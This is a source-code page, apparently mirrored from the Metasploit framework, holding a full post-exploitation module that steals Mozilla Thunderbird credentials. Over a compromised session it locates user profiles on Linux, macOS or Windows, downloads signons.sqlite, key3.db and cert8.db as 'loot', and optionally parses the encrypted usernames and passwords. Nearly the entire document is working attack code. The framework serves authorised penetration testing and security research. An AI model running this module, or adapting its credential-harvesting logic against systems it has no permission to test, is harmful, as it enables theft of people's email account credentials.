Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/thunderbird_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather Mozilla Thunderbird Signon Credential Collection',14'Description' => %q{15This module will collect credentials from Mozilla Thunderbird by downloading16the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for17offline decryption with third party tools.1819If necessary, you may also set the PARSE option to true to parse the sqlite20file, which contains sensitive information such as the encrypted username/password.21However, this feature is not enabled by default, because it requires SQLITE3 gem22to be installed on your machine.23},24'License' => MSF_LICENSE,25'Author' => [26'sinn3r', # Metasploit27],28'Platform' => %w[linux osx win],29'SessionTypes' => ['meterpreter', 'shell'],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_eof34core_channel_open35core_channel_read36core_channel_write37stdapi_sys_config_getenv38]39}40}41)42)4344register_options(45[46OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])47]48)49end5051def run52# Initialize Thunderbird's base path based on the platform53case session.platform54when 'linux'55user = session.shell_command('whoami').chomp56base = "/home/#{user}/.thunderbird/"57when 'osx'58user = session.shell_command('whoami').chomp59base = "/Users/#{user}/Library/Thunderbird/Profiles/"60when 'windows'61if session.type == 'meterpreter'62user_profile = session.sys.config.getenv('APPDATA')63else64user_profile = cmd_exec('echo %APPDATA%').strip65end66base = user_profile + '\\Thunderbird\\Profiles\\'67end6869# Now we have the path for Thunderbird, we still need to enumerate its70# random profile names.71print_status("Looking for profiles in #{base}...")72profiles = get_profile_names(base)7374# Steal!75profiles.each do |profile|76next if profile =~ /^\./7778slash = (session.platform == 'windows') ? '\\' : '/'79p = base + profile + slash8081# Download the database, and attempt to process the content82download_loot(p)83end84end8586#87# Download signons.sqlite and key3.db.88# The routine will attempt to parse the sqlite db if the PARSE option is true,89# and that SQLite3 is installed on the user's box.90#91def download_loot(p)92# These are the files we wanna grab for the directory for future decryption93files = ['signons.sqlite', 'key3.db', 'cert8.db']9495files.each do |item|96loot = ''9798# Downaload the file99if session.type == 'meterpreter'100vprint_status("Downloading: #{p + item}")101begin102f = session.fs.file.new(p + item, 'rb')103loot << f.read until f.eof?104rescue ::Exception => e105ensure106f.close107end108elsif session.type == 'shell'109cmd_show = (session.platform == 'windows') ? 'type' : 'cat'110# The type command will add a 0x0a character in the file? Pff.111# Gotta lstrip that.112loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip113next if loot =~ /system cannot find the file specified|No such file/114end115116# Save it117ext = ::File.extname(item)118ext = ext[1, ext.length]119120path = store_loot(121"tb.#{item}",122"binary/#{ext}",123session,124loot,125"thunderbird_raw_#{item}",126"Thunderbird Raw File #{item}"127)128129print_status("#{item} saved in #{path}")130131# Parse signons.sqlite132next unless item =~ (/signons\.sqlite/) && datastore['PARSE']133134print_status('Parsing signons.sqlite...')135data_tbl = parse(path)136if data_tbl.nil? || data_tbl.rows.empty?137print_status('No data parsed')138else139path = store_loot(140"tb.parsed.#{item}",141'text/plain',142session,143data_tbl.to_csv,144"thunderbird_parsed_#{item}",145"Thunderbird Parsed File #{item}"146)147print_status("Parsed signons.sqlite saved in: #{path}")148end149end150end151152#153# Parse the sqlite database.154# This thing requires sqlite3 gem, so we don't really recommend it.155# The best way is to use railgun, but as of now we don't support that.156# Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")157#158def parse(file)159begin160require 'sqlite3'161rescue LoadError162print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")163return nil164end165166# Load the database167db = SQLite3::Database.new(file)168begin169columns, *rows = db.execute('select * from moz_logins')170rescue ::Exception => e171print_error("doh! #{e}")172return nil173ensure174db.close175end176177# Create a rex table to store our data178tbl = Rex::Text::Table.new(179'Header' => 'Thunderbird login data',180'Indent' => 1,181'Columns' =>182[183'hostname',184'httpRealm',185'formSubmitURL',186'usernameField',187'passwordField',188'encryptedUsername',189'encryptedPassword',190'guid'191]192)193194# Parse the db, store the data195rows.each do |row|196tbl << [197row[1], # hostname198row[2], # httpRealm199row[3], # formSubmitURL (could be nil)200row[4], # usernameField201row[5], # passwordField202row[6], # encryptedUsername203row[7], # encryptedPassword204row[8] # guid205]206end207208return tbl209end210211#212# Return the profile names based on a base path.213# The format for the random profile name goes like: [random].default214#215def get_profile_names(path)216tb_profiles = []217218if session.type == 'meterpreter'219session.fs.dir.foreach(path) do |subdir|220tb_profiles << subdir221end222else223cmd = (session.platform == 'windows') ? "dir \"#{path}\"" : "ls -ld #{path}*/"224dir = cmd_exec(cmd)225dir.each_line do |line|226line = line.strip227next if session.platform == 'windows' && line !~ /<DIR>((.+)\.(\w+)$)/228next if (session.platform == 'linux' || session.platform == 'osx') && line !~ /(\w+\.\w+)/229230tb_profiles << ::Regexp.last_match(1) if !::Regexp.last_match(1).nil?231end232end233return tb_profiles234end235end236237=begin238If you're really curious about Mozilla's encryption/descryption API, download this:239ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/240241And then read the following files:242mozilla/security/manager/ssl/src/nsSDR.cpp243mozilla/security/nss/lib/pk11wrap/pk11sdr.c244245Using a 3rd party decryptor is easier because Mozilla uses 2 different databases246(SQLite and Berkeley DB) to store the crypto information. This makes proper decryption247implementation kind of uneasy, because railgun currently doesn't support SQLite3 and248BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')249to load the lib). Not to mention you need to borrow several more Mozilla components to250do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess251we can pretty much forget about doing the decryption locally... chances are a lot of252users would have problems just to get that setup going anyway.253=end254255256